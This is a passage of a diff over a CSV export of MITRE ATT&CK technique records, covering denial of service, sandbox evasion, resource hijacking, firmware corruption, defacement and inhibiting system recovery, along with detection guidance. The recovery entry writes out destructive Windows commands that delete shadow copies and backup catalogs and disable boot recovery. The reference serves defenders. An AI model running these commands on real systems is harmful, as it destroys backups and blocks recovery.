Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. -Externally monitor the availability of services that may be targeted by an Endpoint DoS.","['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-125,https://capec.mitre.org/data/definitions/125.html,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1497', 'url': 'https://attack.mitre.org/techniques/T1497'}, {'source_name': 'Unit 42 Pirpi July 2015', 'url': 'https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/', 'description': 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1497,mitre-attack,T1497,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Virtualization/Sandbox Evasion,"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. +Externally monitor the availability of services that may be targeted by an Endpoint DoS.",False,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-125,https://capec.mitre.org/data/definitions/125.html,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497', 'external_id': 'T1497'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'Unit 42 Pirpi July 2015', 'description': 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/'}]",1.3,attack-pattern,attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-17T22:22:24.505Z,2021-10-18T14:57:48.989Z,Virtualization/Sandbox Evasion,"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) -",attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d,attack-pattern,"['defense-evasion', 'discovery']",2021-04-21T15:16:10.835Z,2019-04-17T22:22:24.505Z,"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Deloitte Threat Library Team', 'Sunny Neo']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static File Analysis']",,"['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1498', 'url': 'https://attack.mitre.org/techniques/T1498'}, {'source_name': 'FireEye OpPoisonedHandover February 2016', 'url': 'https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html', 'description': 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'}, {'source_name': 'FSISAC FraudNetDoS September 2012', 'url': 'https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf', 'description': 'FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.'}, {'source_name': 'Symantec DDoS October 2014', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf', 'description': 'Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.'}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,False,https://attack.mitre.org/techniques/T1498,mitre-attack,T1498,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Denial of Service,"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) +","['defense-evasion', 'discovery']",https://attack.mitre.org/techniques/T1497,mitre-attack,T1497,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Deloitte Threat Library Team', 'Sunny Neo']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static File Analysis']","Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",False,,"['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1498', 'external_id': 'T1498'}, {'source_name': 'FireEye OpPoisonedHandover February 2016', 'description': 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html'}, {'source_name': 'FSISAC FraudNetDoS September 2012', 'description': 'FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.', 'url': 'https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf'}, {'source_name': 'Symantec DDoS October 2014', 'description': 'Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.1,attack-pattern,attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-17T20:23:15.105Z,2021-04-12T18:34:06.995Z,Network Denial of Service,"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). @@ -2725,76 +2955,81 @@ To perform Network DoS attacks several aspects apply to multiple methods, includ Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. -For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).",attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab,attack-pattern,['impact'],2021-04-12T18:34:06.995Z,2019-04-17T20:23:15.105Z,"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']","['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']",,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1496', 'url': 'https://attack.mitre.org/techniques/T1496'}, {'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/', 'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017'}, {'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc', 'source_name': 'CloudSploit - Unused AWS Regions'}, {'source_name': 'Unit 42 Hildegard Malware', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.'}, {'source_name': 'Trend Micro Exposed Docker APIs', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.'}, {'source_name': 'Trend Micro War of Crypto Miners', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.2,False,https://attack.mitre.org/techniques/T1496,mitre-attack,T1496,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Resource Hijacking,"Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. +For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).",['impact'],https://attack.mitre.org/techniques/T1498,mitre-attack,T1498,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",False,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1496', 'external_id': 'T1496'}, {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'}, {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'}, {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}, {'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'}, {'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'}]",1.2,attack-pattern,attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-17T14:50:05.682Z,2021-04-14T12:06:32.187Z,Resource Hijacking,"Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) -Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)",attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783,attack-pattern,['impact'],2021-04-14T12:06:32.187Z,2019-04-17T14:50:05.682Z,"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']","['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,,,,,,['Availability'],,,,,,, -"[{'external_id': 'T1495', 'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1495'}, {'source_name': 'Symantec Chernobyl W95.CIH', 'url': 'https://www.symantec.com/security-center/writeup/2000-122010-2655-99', 'description': 'Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.'}, {'url': 'http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research', 'description': 'Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', 'source_name': 'MITRE Trustworthy Firmware Measurement'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1495,mitre-attack,T1495,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Firmware Corruption,"Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.",attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89,attack-pattern,['impact'],2020-07-14T19:31:46.550Z,2019-04-12T18:28:15.451Z,System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.,['Firmware: Firmware Modification'],,,"['Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1491', 'url': 'https://attack.mitre.org/techniques/T1491'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.2,False,https://attack.mitre.org/techniques/T1491,mitre-attack,T1491,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Defacement,"Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. -",attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b,attack-pattern,['impact'],2021-03-08T10:33:01.150Z,2019-04-08T17:51:41.390Z,"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. +Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)",['impact'],https://attack.mitre.org/techniques/T1496,mitre-attack,T1496,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']",,"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.",False,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1495', 'external_id': 'T1495'}, {'source_name': 'Symantec Chernobyl W95.CIH', 'description': 'Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.', 'url': 'https://www.symantec.com/security-center/writeup/2000-122010-2655-99'}, {'source_name': 'MITRE Trustworthy Firmware Measurement', 'description': 'Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', 'url': 'http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research'}]",1.0,attack-pattern,attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-12T18:28:15.451Z,2020-07-14T19:31:46.550Z,Firmware Corruption,"Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.",['impact'],https://attack.mitre.org/techniques/T1495,mitre-attack,T1495,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Firmware: Firmware Modification'],,System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.,False,"['Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1491', 'external_id': 'T1491'}]",1.2,attack-pattern,attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-08T17:51:41.390Z,2021-03-08T10:33:01.150Z,Defacement,"Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. +",['impact'],https://attack.mitre.org/techniques/T1491,mitre-attack,T1491,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. -","['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,['Integrity'],,,,,,, -"[{'external_id': 'T1490', 'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1490'}, {'source_name': 'Talos Olympic Destroyer 2018', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.'}, {'source_name': 'FireEye WannaCry 2017', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html', 'description': 'Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1490,mitre-attack,T1490,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Inhibit System Recovery,"Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) +",False,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1490', 'external_id': 'T1490'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'FireEye WannaCry 2017', 'description': 'Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html'}]",1.0,attack-pattern,attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-02T13:54:43.136Z,2020-07-14T19:33:52.512Z,Inhibit System Recovery,"Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: * vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet -* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no",attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a,attack-pattern,['impact'],2020-07-14T19:33:52.512Z,2019-04-02T13:54:43.136Z,"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. +* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no",['impact'],https://attack.mitre.org/techniques/T1490,mitre-attack,T1490,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yonatan Gotlib, Deep Instinct']","['Process: 